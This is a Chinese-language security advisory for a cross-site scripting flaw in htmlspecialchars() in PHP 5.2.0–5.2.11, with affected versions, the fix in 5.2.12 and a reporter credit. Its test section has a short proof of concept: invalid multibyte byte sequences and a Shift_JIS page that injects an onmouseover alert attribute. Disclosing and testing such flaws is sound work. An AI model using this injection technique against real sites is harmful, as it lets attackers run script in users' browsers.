漏洞起因
输入验证错误
影响系统
PHP PHP 5.2.11
PHP PHP 5.2.10
PHP PHP 5.2.9
PHP PHP 5.2.8
PHP PHP 5.2.7
PHP PHP 5.2.6
PHP PHP 5.2.5
PHP PHP 5.2.4
PHP PHP 5.2.3
PHP PHP 5.2.2
PHP PHP 5.2.1
PHP PHP 5.2
不受影响系统
PHP PHP 5.2.12
危害
远程攻击者可以利用漏洞获得敏感信息。
攻击所需条件
攻击者必须构建恶意WEB页,诱使用户解析。
漏洞信息
PHP是一款流行的网络编程语言。
htmlspecialchars()函数不严格检查多字节序列,远程攻击者可以利用漏洞进行跨站脚本攻击。
测试方法
// overlong UTF-8 sequence
echo htmlspecialchars("A\xC0\xAF&", ENT_QUOTES, ‘UTF-8’);
// invalid Shift_JIS sequence
echo htmlspecialchars("B\x80&", ENT_QUOTES, ‘Shift_JIS’);
echo htmlspecialchars("C\x81\x7f&", ENT_QUOTES, ‘Shift_JIS’);
// invalid EUC-JP sequence
echo htmlspecialchars("D\x80&", ENT_QUOTES, ‘EUC-JP’);
echo htmlspecialchars("E\xA1\xFF&", ENT_QUOTES, ‘EUC-JP’);
echo htmlspecialchars("F\x8E\xFF&", ENT_QUOTES, ‘EUC-JP’);
echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, ‘EUC-JP’);
—————————————————————–
<?php
$_GET[‘a1’] = "\xf0"; // \xf0 – \xfc で可能
$_GET[‘a2’] = " href=dummy onmouseover=alert(document.title) dummy=dummy";
header( "Content-Type:text/html; charset=Shift_JIS" );
?>
<html>
<head><title>Shift_JIS test</title></head>
<body>
<p><a title="<?php echo htmlspecialchars( $_GET[‘a1’], ENT_QUOTES, ‘SJIS’ ) ?>" href="<?php echo htmlspecialchars( $_GET[‘a2’], ENT_QUOTES, ‘SJIS’ ) ?>">test</a></p>
</body>
</html>
厂商解决方案
PHP 5.2.12已经修复此漏洞,建议用户下载使用:
http://www.php.net/releases/5_2_12.php
漏洞提供者
hello at iwamot dot com
0 条评论。